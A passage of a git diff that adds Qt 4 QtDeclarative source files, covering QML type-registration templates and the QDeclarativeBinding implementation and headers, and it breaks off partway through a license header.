+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ metaObjectRevision
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+
+template<typename T, typename E>
+int qmlRegisterExtendedType()
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ 0, 0,
+ QString(),
+
+ 0, 0, 0, 0, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ QDeclarativePrivate::createParent<E>, &E::staticMetaObject,
+
+ 0,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T, typename E>
+int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor,
+ const char *qmlName)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativeAttachedPropertiesFunc attached = QDeclarativePrivate::attachedPropertiesFunc<E>();
+ const QMetaObject * attachedMetaObject = QDeclarativePrivate::attachedPropertiesMetaObject<E>();
+ if (!attached) {
+ attached = QDeclarativePrivate::attachedPropertiesFunc<T>();
+ attachedMetaObject = QDeclarativePrivate::attachedPropertiesMetaObject<T>();
+ }
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ attached,
+ attachedMetaObject,
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ QDeclarativePrivate::createParent<E>, &E::staticMetaObject,
+
+ 0,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T>
+int qmlRegisterInterface(const char *typeName)
+{
+ QByteArray name(typeName);
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterInterface qmlInterface = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+
+ qobject_interface_iid<T *>()
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::InterfaceRegistration, &qmlInterface);
+}
+
+template<typename T>
+int qmlRegisterCustomType(const char *uri, int versionMajor, int versionMinor,
+ const char *qmlName, QDeclarativeCustomParser *parser)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ parser,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+class QDeclarativeContext;
+class QDeclarativeEngine;
+Q_DECLARATIVE_EXPORT void qmlExecuteDeferred(QObject *);
+Q_DECLARATIVE_EXPORT QDeclarativeContext *qmlContext(const QObject *);
+Q_DECLARATIVE_EXPORT QDeclarativeEngine *qmlEngine(const QObject *);
+Q_DECLARATIVE_EXPORT QObject *qmlAttachedPropertiesObjectById(int, const QObject *, bool create = true);
+Q_DECLARATIVE_EXPORT QObject *qmlAttachedPropertiesObject(int *, const QObject *, const QMetaObject *, bool create);
+
+template<typename T>
+QObject *qmlAttachedPropertiesObject(const QObject *obj, bool create = true)
+{
+ static int idx = -1;
+ return qmlAttachedPropertiesObject(&idx, obj, &T::staticMetaObject, create);
+}
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QObject)
+Q_DECLARE_METATYPE(QVariant)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVE_H
diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
new file mode 100644
index 00000000..31bc436e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativebinding.cpp
@@ -0,0 +1,573 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativebinding_p_p.h"
+
+#include "qdeclarative.h"
+#include "qdeclarativecontext.h"
+#include "qdeclarativeinfo.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativedata_p.h"
+#include "private/qdeclarativestringconverters_p.h"
+#include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+
+#include <QVariant>
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeAbstractBinding::QDeclarativeAbstractBinding()
+: m_object(0), m_propertyIndex(-1), m_mePtr(0), m_prevBinding(0), m_nextBinding(0)
+{
+}
+
+QDeclarativeAbstractBinding::~QDeclarativeAbstractBinding()
+{
+ Q_ASSERT(m_prevBinding == 0);
+ Q_ASSERT(m_mePtr == 0);
+}
+
+/*!
+Destroy the binding. Use this instead of calling delete.
+
+Bindings are free to implement their own memory management, so the delete operator is not
+necessarily safe. The default implementation clears the binding, removes it from the object
+and calls delete.
+*/
+void QDeclarativeAbstractBinding::destroy()
+{
+ removeFromObject();
+ clear();
+
+ delete this;
+}
+
+/*!
+Add this binding to \a object.
+
+This transfers ownership of the binding to the object, marks the object's property as
+being bound.
+
+However, it does not enable the binding itself or call update() on it.
+*/
+void QDeclarativeAbstractBinding::addToObject(QObject *object, int index)
+{
+ Q_ASSERT(object);
+
+ if (m_object == object && m_propertyIndex == index)
+ return;
+
+ removeFromObject();
+
+ Q_ASSERT(!m_prevBinding);
+
+ m_object = object;
+ m_propertyIndex = index;
+
+ QDeclarativeData *data = QDeclarativeData::get(object, true);
+
+ if (index & 0xFF000000) {
+ // Value type
+
+ int coreIndex = index & 0xFFFFFF;
+
+ // Find the value type proxy (if there is one)
+ QDeclarativeValueTypeProxyBinding *proxy = 0;
+ if (data->hasBindingBit(coreIndex)) {
+ QDeclarativeAbstractBinding *b = data->bindings;
+ while (b && b->propertyIndex() != coreIndex)
+ b = b->m_nextBinding;
+ Q_ASSERT(b && b->bindingType() == QDeclarativeAbstractBinding::ValueTypeProxy);
+ proxy = static_cast<QDeclarativeValueTypeProxyBinding *>(b);
+ }
+
+ if (!proxy) {
+ proxy = new QDeclarativeValueTypeProxyBinding(object, coreIndex);
+ proxy->addToObject(object, coreIndex);
+ }
+
+ m_nextBinding = proxy->m_bindings;
+ if (m_nextBinding) m_nextBinding->m_prevBinding = &m_nextBinding;
+ m_prevBinding = &proxy->m_bindings;
+ proxy->m_bindings = this;
+
+ } else {
+ m_nextBinding = data->bindings;
+ if (m_nextBinding) m_nextBinding->m_prevBinding = &m_nextBinding;
+ m_prevBinding = &data->bindings;
+ data->bindings = this;
+
+ data->setBindingBit(m_object, index);
+ }
+}
+
+/*!
+Remove the binding from the object.
+*/
+void QDeclarativeAbstractBinding::removeFromObject()
+{
+ if (m_prevBinding) {
+ int index = propertyIndex();
+
+ *m_prevBinding = m_nextBinding;
+ if (m_nextBinding) m_nextBinding->m_prevBinding = m_prevBinding;
+ m_prevBinding = 0;
+ m_nextBinding = 0;
+
+ if (index & 0xFF000000) {
+ // Value type - we don't remove the proxy from the object. It will sit their happily
+ // doing nothing until it is removed by a write, a binding change or it is reused
+ // to hold more sub-bindings.
+ } else if (m_object) {
+ QDeclarativeData *data = QDeclarativeData::get(m_object, false);
+ if (data) data->clearBindingBit(index);
+ }
+
+ m_object = 0;
+ m_propertyIndex = -1;
+ }
+}
+
+static void bindingDummyDeleter(QDeclarativeAbstractBinding *)
+{
+}
+
+QDeclarativeAbstractBinding::Pointer QDeclarativeAbstractBinding::weakPointer()
+{
+ if (m_selfPointer.isNull())
+ m_selfPointer = QSharedPointer<QDeclarativeAbstractBinding>(this, bindingDummyDeleter);
+
+ return m_selfPointer.toWeakRef();
+}
+
+void QDeclarativeAbstractBinding::clear()
+{
+ if (m_mePtr) {
+ *m_mePtr = 0;
+ m_mePtr = 0;
+ }
+}
+
+QString QDeclarativeAbstractBinding::expression() const
+{
+ return QLatin1String("<Unknown>");
+}
+
+QObject *QDeclarativeAbstractBinding::object() const
+{
+ return m_object;
+}
+
+int QDeclarativeAbstractBinding::propertyIndex() const
+{
+ return m_propertyIndex;
+}
+
+void QDeclarativeAbstractBinding::setEnabled(bool enabled, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ if (enabled) update(flags);
+}
+
+QDeclarativeBinding::Identifier QDeclarativeBinding::Invalid = -1;
+
+void QDeclarativeBindingPrivate::refresh()
+{
+ Q_Q(QDeclarativeBinding);
+ q->update();
+}
+
+QDeclarativeBindingPrivate::QDeclarativeBindingPrivate()
+: updating(false), enabled(false), deleted(0)
+{
+}
+
+QDeclarativeBindingPrivate::~QDeclarativeBindingPrivate()
+{
+ if (deleted) *deleted = true;
+}
+
+QDeclarativeBinding::QDeclarativeBinding(void *data, QDeclarativeRefCount *rc, QObject *obj,
+ QDeclarativeContextData *ctxt, const QString &url, int lineNumber,
+ QObject *parent)
+: QDeclarativeExpression(ctxt, data, rc, obj, url, lineNumber, *new QDeclarativeBindingPrivate)
+{
+ setParent(parent);
+ setNotifyOnValueChanged(true);
+}
+
+QDeclarativeBinding *
+QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt,
+ const QString &url, int lineNumber, QObject *parent)
+{
+ if (id < 0)
+ return 0;
+
+ Q_ASSERT(ctxt);
+ QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt);
+
+ QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(ctxtdata->engine);
+ QDeclarativeCompiledData *cdata = 0;
+ QDeclarativeTypeData *typeData = 0;
+ if (!ctxtdata->url.isEmpty()) {
+ typeData = engine->typeLoader.get(ctxtdata->url);
+ cdata = typeData->compiledData();
+ }
+ QDeclarativeBinding *rv = cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0;
+ if (cdata)
+ cdata->release();
+ if (typeData)
+ typeData->release();
+ return rv;
+}
+
+QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt,
+ QObject *parent)
+: QDeclarativeExpression(QDeclarativeContextData::get(ctxt), obj, str, *new QDeclarativeBindingPrivate)
+{
+ setParent(parent);
+ setNotifyOnValueChanged(true);
+}
+
+QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContextData *ctxt,
+ QObject *parent)
+: QDeclarativeExpression(ctxt, obj, str, *new QDeclarativeBindingPrivate)
+{
+ setParent(parent);
+ setNotifyOnValueChanged(true);
+}
+
+QDeclarativeBinding::QDeclarativeBinding(const QScriptValue &func, QObject *obj, QDeclarativeContextData *ctxt, QObject *parent)
+: QDeclarativeExpression(ctxt, obj, func, *new QDeclarativeBindingPrivate)
+{
+ setParent(parent);
+ setNotifyOnValueChanged(true);
+}
+
+QDeclarativeBinding::~QDeclarativeBinding()
+{
+}
+
+void QDeclarativeBinding::setTarget(const QDeclarativeProperty &prop)
+{
+ Q_D(QDeclarativeBinding);
+ d->property = prop;
+
+ update();
+}
+
+QDeclarativeProperty QDeclarativeBinding::property() const
+{
+ Q_D(const QDeclarativeBinding);
+ return d->property;
+}
+
+void QDeclarativeBinding::setEvaluateFlags(EvaluateFlags flags)
+{
+ Q_D(QDeclarativeBinding);
+ d->setEvaluateFlags(QDeclarativeQtScriptExpression::EvaluateFlags(static_cast<int>(flags)));
+}
+
+QDeclarativeBinding::EvaluateFlags QDeclarativeBinding::evaluateFlags() const
+{
+ Q_D(const QDeclarativeBinding);
+ return QDeclarativeBinding::EvaluateFlags(static_cast<int>(d->evaluateFlags()));
+}
+
+
+class QDeclarativeBindingProfiler {
+public:
+ QDeclarativeBindingProfiler(QDeclarativeBinding *bind)
+ {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression());
+ QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Binding, bind->sourceFile(), bind->lineNumber());
+ }
+
+ ~QDeclarativeBindingProfiler()
+ {
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding);
+ }
+};
+
+void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ Q_D(QDeclarativeBinding);
+
+ if (!d->enabled || !d->context() || !d->context()->isValid())
+ return;
+
+ if (!d->updating) {
+ QDeclarativeBindingProfiler prof(this);
+ d->updating = true;
+ bool wasDeleted = false;
+ d->deleted = &wasDeleted;
+
+ if (d->property.propertyType() == qMetaTypeId<QDeclarativeBinding *>()) {
+
+ int idx = d->property.index();
+ Q_ASSERT(idx != -1);
+
+ QDeclarativeBinding *t = this;
+ int status = -1;
+ void *a[] = { &t, 0, &status, &flags };
+ QMetaObject::metacall(d->property.object(),
+ QMetaObject::WriteProperty,
+ idx, a);
+
+ if (wasDeleted)
+ return;
+
+ } else {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->context()->engine);
+
+ bool isUndefined = false;
+ QVariant value;
+
+ QScriptValue scriptValue = d->scriptValue(0, &isUndefined);
+ if (wasDeleted)
+ return;
+
+ if (d->property.propertyTypeCategory() == QDeclarativeProperty::List) {
+ value = ep->scriptValueToVariant(scriptValue, qMetaTypeId<QList<QObject *> >());
+ } else if (scriptValue.isNull() &&
+ d->property.propertyTypeCategory() == QDeclarativeProperty::Object) {
+ value = QVariant::fromValue((QObject *)0);
+ } else {
+ value = ep->scriptValueToVariant(scriptValue, d->property.propertyType());
+ if (value.userType() == QMetaType::QObjectStar && !qvariant_cast<QObject*>(value)) {
+ // If the object is null, we extract the predicted type. While this isn't
+ // 100% reliable, in many cases it gives us better error messages if we
+ // assign this null-object to an incompatible property
+ int type = ep->objectClass->objectType(scriptValue);
+ QObject *o = 0;
+ value = QVariant(type, (void *)&o);
+ }
+ }
+
+
+ if (d->error.isValid()) {
+
+ } else if (isUndefined && d->property.isResettable()) {
+
+ d->property.reset();
+
+ } else if (isUndefined && d->property.propertyType() == qMetaTypeId<QVariant>()) {
+
+ QDeclarativePropertyPrivate::write(d->property, QVariant(), flags);
+
+ } else if (isUndefined) {
+
+ QUrl url = QUrl(d->url);
+ int line = d->line;
+ if (url.isEmpty()) url = QUrl(QLatin1String("<Unknown File>"));
+
+ d->error.setUrl(url);
+ d->error.setLine(line);
+ d->error.setColumn(-1);
+ d->error.setDescription(QLatin1String("Unable to assign [undefined] to ") +
+ QLatin1String(QMetaType::typeName(d->property.propertyType())) +
+ QLatin1String(" ") + d->property.name());
+
+ } else if (!scriptValue.isRegExp() && scriptValue.isFunction()) {
+
+ QUrl url = QUrl(d->url);
+ int line = d->line;
+ if (url.isEmpty()) url = QUrl(QLatin1String("<Unknown File>"));
+
+ d->error.setUrl(url);
+ d->error.setLine(line);
+ d->error.setColumn(-1);
+ d->error.setDescription(QLatin1String("Unable to assign a function to a property."));
+
+ } else if (d->property.object() &&
+ !QDeclarativePropertyPrivate::write(d->property, value, flags)) {
+
+ if (wasDeleted)
+ return;
+
+ QUrl url = QUrl(d->url);
+ int line = d->line;
+ if (url.isEmpty()) url = QUrl(QLatin1String("<Unknown File>"));
+
+ const char *valueType = 0;
+ if (value.userType() == QVariant::Invalid) valueType = "null";
+ else valueType = QMetaType::typeName(value.userType());
+
+ d->error.setUrl(url);
+ d->error.setLine(line);
+ d->error.setColumn(-1);
+ d->error.setDescription(QLatin1String("Unable to assign ") +
+ QLatin1String(valueType) +
+ QLatin1String(" to ") +
+ QLatin1String(QMetaType::typeName(d->property.propertyType())));
+ }
+
+ if (wasDeleted)
+ return;
+
+ if (d->error.isValid()) {
+ if (!d->addError(ep)) ep->warning(this->error());
+ } else {
+ d->removeError();
+ }
+ }
+
+ d->updating = false;
+ d->deleted = 0;
+ } else {
+ qmlInfo(d->property.object()) << tr("Binding loop detected for property \"%1\"").arg(d->property.name());
+ }
+}
+
+void QDeclarativeBindingPrivate::emitValueChanged()
+{
+ Q_Q(QDeclarativeBinding);
+ q->update();
+}
+
+void QDeclarativeBinding::setEnabled(bool e, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ Q_D(QDeclarativeBinding);
+ d->enabled = e;
+ setNotifyOnValueChanged(e);
+
+ if (e)
+ update(flags);
+}
+
+bool QDeclarativeBinding::enabled() const
+{
+ Q_D(const QDeclarativeBinding);
+
+ return d->enabled;
+}
+
+QString QDeclarativeBinding::expression() const
+{
+ return QDeclarativeExpression::expression();
+}
+
+QDeclarativeValueTypeProxyBinding::QDeclarativeValueTypeProxyBinding(QObject *o, int index)
+: m_object(o), m_index(index), m_bindings(0)
+{
+}
+
+QDeclarativeValueTypeProxyBinding::~QDeclarativeValueTypeProxyBinding()
+{
+ while (m_bindings) {
+ QDeclarativeAbstractBinding *binding = m_bindings;
+ binding->setEnabled(false, 0);
+ binding->destroy();
+ }
+}
+
+void QDeclarativeValueTypeProxyBinding::setEnabled(bool e, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ if (e) {
+ QDeclarativeAbstractBinding *bindings = m_bindings;
+ recursiveEnable(bindings, flags);
+ } else {
+ QDeclarativeAbstractBinding *bindings = m_bindings;
+ recursiveDisable(bindings);
+ }
+}
+
+void QDeclarativeValueTypeProxyBinding::recursiveEnable(QDeclarativeAbstractBinding *b, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ if (!b)
+ return;
+
+ recursiveEnable(b->m_nextBinding, flags);
+
+ if (b)
+ b->setEnabled(true, flags);
+}
+
+void QDeclarativeValueTypeProxyBinding::recursiveDisable(QDeclarativeAbstractBinding *b)
+{
+ if (!b)
+ return;
+
+ recursiveDisable(b->m_nextBinding);
+
+ if (b)
+ b->setEnabled(false, 0);
+}
+
+void QDeclarativeValueTypeProxyBinding::update(QDeclarativePropertyPrivate::WriteFlags)
+{
+}
+
+QDeclarativeAbstractBinding *QDeclarativeValueTypeProxyBinding::binding(int propertyIndex)
+{
+ QDeclarativeAbstractBinding *binding = m_bindings;
+
+ while (binding && binding->propertyIndex() != propertyIndex)
+ binding = binding->m_nextBinding;
+
+ return binding;
+}
+
+/*!
+Removes a collection of bindings, corresponding to the set bits in \a mask.
+*/
+void QDeclarativeValueTypeProxyBinding::removeBindings(quint32 mask)
+{
+ QDeclarativeAbstractBinding *binding = m_bindings;
+ while (binding) {
+ if (mask & (1 << (binding->propertyIndex() >> 24))) {
+ QDeclarativeAbstractBinding *remove = binding;
+ binding = remove->m_nextBinding;
+ *remove->m_prevBinding = remove->m_nextBinding;
+ if (remove->m_nextBinding) remove->m_nextBinding->m_prevBinding = remove->m_prevBinding;
+ remove->m_prevBinding = 0;
+ remove->m_nextBinding = 0;
+ remove->destroy();
+ } else {
+ binding = binding->m_nextBinding;
+ }
+ }
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h
new file mode 100644
index 00000000..042b45d0
--- /dev/null
+++ b/src/declarative/qml/qdeclarativebinding_p.h
@@ -0,0 +1,193 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBINDING_P_H
+#define QDECLARATIVEBINDING_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+#include "qdeclarativepropertyvaluesource.h"
+#include "qdeclarativeexpression.h"
+#include "qdeclarativeproperty.h"
+#include "private/qdeclarativeproperty_p.h"
+
+#include <QtCore/QObject>
+#include <QtCore/QMetaProperty>
+
+QT_BEGIN_NAMESPACE
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeAbstractBinding
+{
+public:
+ typedef QWeakPointer<QDeclarativeAbstractBinding> Pointer;
+
+ QDeclarativeAbstractBinding();
+
+ virtual void destroy();
+
+ virtual QString expression() const;
+
+ enum Type { PropertyBinding, ValueTypeProxy };
+ virtual Type bindingType() const { return PropertyBinding; }
+
+ QObject *object() const;
+ int propertyIndex() const;
+
+ void setEnabled(bool e) { setEnabled(e, QDeclarativePropertyPrivate::DontRemoveBinding); }
+ virtual void setEnabled(bool, QDeclarativePropertyPrivate::WriteFlags) = 0;
+
+ void update() { update(QDeclarativePropertyPrivate::DontRemoveBinding); }
+ virtual void update(QDeclarativePropertyPrivate::WriteFlags) = 0;
+
+ void addToObject(QObject *, int);
+ void removeFromObject();
+
+ static Pointer getPointer(QDeclarativeAbstractBinding *p) { return p ? p->weakPointer() : Pointer(); }
+
+protected:
+ virtual ~QDeclarativeAbstractBinding();
+ void clear();
+
+private:
+ Pointer weakPointer();
+
+ friend class QDeclarativeData;
+ friend class QDeclarativeComponentPrivate;
+ friend class QDeclarativeValueTypeProxyBinding;
+ friend class QDeclarativePropertyPrivate;
+ friend class QDeclarativeVME;
+ friend class QtSharedPointer::ExternalRefCount<QDeclarativeAbstractBinding>;
+
+ QObject *m_object;
+ int m_propertyIndex;
+ QDeclarativeAbstractBinding **m_mePtr;
+ QDeclarativeAbstractBinding **m_prevBinding;
+ QDeclarativeAbstractBinding *m_nextBinding;
+ QSharedPointer<QDeclarativeAbstractBinding> m_selfPointer;
+};
+
+class QDeclarativeValueTypeProxyBinding : public QDeclarativeAbstractBinding
+{
+public:
+ QDeclarativeValueTypeProxyBinding(QObject *o, int coreIndex);
+
+ virtual Type bindingType() const { return ValueTypeProxy; }
+
+ virtual void setEnabled(bool, QDeclarativePropertyPrivate::WriteFlags);
+ virtual void update(QDeclarativePropertyPrivate::WriteFlags);
+
+ QDeclarativeAbstractBinding *binding(int propertyIndex);
+
+ void removeBindings(quint32 mask);
+
+protected:
+ ~QDeclarativeValueTypeProxyBinding();
+
+private:
+ void recursiveEnable(QDeclarativeAbstractBinding *, QDeclarativePropertyPrivate::WriteFlags);
+ void recursiveDisable(QDeclarativeAbstractBinding *);
+
+ friend class QDeclarativeAbstractBinding;
+ QObject *m_object;
+ int m_index;
+ QDeclarativeAbstractBinding *m_bindings;
+};
+
+class QDeclarativeContext;
+class QDeclarativeBindingPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBinding : public QDeclarativeExpression, public QDeclarativeAbstractBinding
+{
+Q_OBJECT
+public:
+ enum EvaluateFlag { RequiresThisObject = 0x01 };
+ Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
+
+ QDeclarativeBinding(const QString &, QObject *, QDeclarativeContext *, QObject *parent=0);
+ QDeclarativeBinding(const QString &, QObject *, QDeclarativeContextData *, QObject *parent=0);
+ QDeclarativeBinding(void *, QDeclarativeRefCount *, QObject *, QDeclarativeContextData *,
+ const QString &, int, QObject *parent);
+ QDeclarativeBinding(const QScriptValue &, QObject *, QDeclarativeContextData *, QObject *parent=0);
+
+ void setTarget(const QDeclarativeProperty &);
+ QDeclarativeProperty property() const;
+
+ void setEvaluateFlags(EvaluateFlags flags);
+ EvaluateFlags evaluateFlags() const;
+
+ bool enabled() const;
+
+ // Inherited from QDeclarativeAbstractBinding
+ virtual void setEnabled(bool, QDeclarativePropertyPrivate::WriteFlags flags);
+ virtual void update(QDeclarativePropertyPrivate::WriteFlags flags);
+ virtual QString expression() const;
+
+ typedef int Identifier;
+ static Identifier Invalid;
+ static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0);
+
+public Q_SLOTS:
+ void update() { update(QDeclarativePropertyPrivate::DontRemoveBinding); }
+
+protected:
+ ~QDeclarativeBinding();
+ void emitValueChanged();
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativeBinding)
+};
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeBinding::EvaluateFlags)
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeBinding*)
+
+#endif // QDECLARATIVEBINDING_P_H
diff --git a/src/declarative/qml/qdeclarativebinding_p_p.h b/src/declarative/qml/qdeclarativebinding_p_p.h
new file mode 100644
index 00000000..0c99d013
--- /dev/null
+++ b/src/declarative/qml/qdeclarativebinding_p_p.h
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
